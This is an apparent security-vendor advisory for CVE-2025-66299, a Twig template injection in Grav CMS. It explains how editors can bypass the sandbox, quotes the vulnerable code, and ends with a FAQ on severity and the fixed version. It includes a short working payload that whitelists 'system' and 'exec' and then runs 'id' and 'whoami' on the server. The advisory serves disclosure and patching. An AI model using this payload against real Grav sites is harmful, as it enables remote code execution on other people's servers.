CVE-2025-66299

Grav CMS is vulnerable to a Server-Side Template Injection (SSTI) that allows any authenticated user with editor permissions to execute arbitrary code on the remote server, bypassing the existing security sandbox.

Details

Grav CMS uses a custom sandbox to protect the powerful Twig methods such as registerUndefinedFilterCallback(). These methods are designed to prevent SSTI attacks by denying the execution of dangerous PHP functions (e.g., exec(), passthru(), system(), etc.) within Twig template directives.

The current defense mechanism relies on a blacklist of prohibited functions (PHP, Twig), checked through the isDangerousFunction() method in the file system/src/Grav/Common/Twig.php:

$this->twig->registerUndefinedFilterCallback(function (string $name) use ($config) {
    $allowed = $config->get('system.twig.safe_filters');
    if (is_array($allowed) && in_array($name, $allowed, true) && function_exists($name)) {
        return new TwigFilter($name, $name);
    }
    if ($config->get('system.twig.undefined_filters')) {
        if (function_exists($name)) {
            if (!Utils::isDangerousFunction($name)) {
                user_error("PHP function {$name}() used as Twig filter. This is deprecated in Grav 1.7. Please add it to system configuration: `system.twig.safe_filters`", E_USER_DEPRECATED);

                return new TwigFilter($name, $name);
            }

            /** @var Debugger $debugger */
            $debugger = $this->grav['debugger'];
            $debugger->addException(new RuntimeException("Blocked potentially dangerous PHP function {$name}() being used as Twig filter. If you really want to use it, please add it to system configuration: `system.twig.safe_filters`"));
        }

        return new TwigFilter($name, static function () {});
    }

    return false;
});

In this code, the isDangerousFunction() check is bypassed if the filter defined in the $name variable is considered safe. Only an administrator can mark a function as safe by adding it to the system.twig.safe_filters configuration properties (whitelists that are empty by default) in the system/config/system.yaml file.

Notably, the Twig class is defined within the system/src/Grav/Common/Twig.php file, and the Twig object (and environment) is instantiated there:

/**
 * Class Twig
 * @package Grav\Common\Twig
 */
class Twig
{
    /** @var Environment */
    public $twig;
    /** @var array */
    public $twig_vars = [];
    /** @var array */
    public $twig_paths;
    /** @var string */
    public $template;

    // Constructor
    public function __construct(Grav $grav)
    {
        $this->grav = $grav;
        $this->twig_paths = [];
    }

    // Twig initialization method
    public function init()
    {
        if (null === $this->twig) {
            /** @var Config $config */
            $config = $this->grav['config'];
            /** @var UniformResourceLocator $locator */
            $locator = $this->grav['locator'];
            /** @var Language $language */
            $language = $this->grav['language'];

            $active_language = $language->getActive();
        ...
        }
    }
}

Since the security sandbox does not fully protect the Twig object, it is possible to interact with it (e.g., call methods, read/write attributes) through maliciously crafted Twig template directives injected into a web page. This allows an authenticated editor to add arbitrary functions to the Twig attribute system.twig.safe_filters, effectively bypassing the Grav CMS sandbox.

Proof of Concept (PoC)

An authenticated user with permission to edit a page (with Twig processing enabled) in the Grav CMS admin console can inject malicious template directives to execute arbitrary OS commands on the remote web server.

For example, to exploit the vulnerability and execute the prohibited system('id') command, bypassing the sandbox, an editor could create/edit a web page with the following template directives:

{% set arr = {'1':'system', '2':'exec'} %}
{{ var_dump(grav.twig.twig_vars['config'].set('system.twig.safe_filters', arr)) }}
{{ 'id'|system }}
{{ 'whoami'|exec }}

Once the page is saved, it can be accessed by unauthenticated users, triggering the execution of the system('id') command on the server hosting the vulnerable Grav CMS.

The vulnerability allows remote code execution on the underlying server, which could lead to full server compromise.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2025-66299 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.8.0-beta.27); upgrading removes the vulnerable code path.

Kodem intelligence

1. What is CVE-2025-66299? CVE-2025-66299 is a high-severity code injection vulnerability in getgrav/grav (composer), affecting versions < 1.8.0-beta.27. It is fixed in 1.8.0-beta.27. Untrusted input is evaluated as executable code within the application's runtime environment.
2. How severe is CVE-2025-66299? CVE-2025-66299 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of getgrav/grav are affected by CVE-2025-66299? getgrav/grav (composer) versions < 1.8.0-beta.27 is affected.
4. Is there a fix for CVE-2025-66299? Yes. CVE-2025-66299 is fixed in 1.8.0-beta.27. Upgrade to this version or later.
5. Is CVE-2025-66299 exploitable, and should I be worried? Whether CVE-2025-66299 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-66299 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-66299? Upgrade getgrav/grav to 1.8.0-beta.27 or later.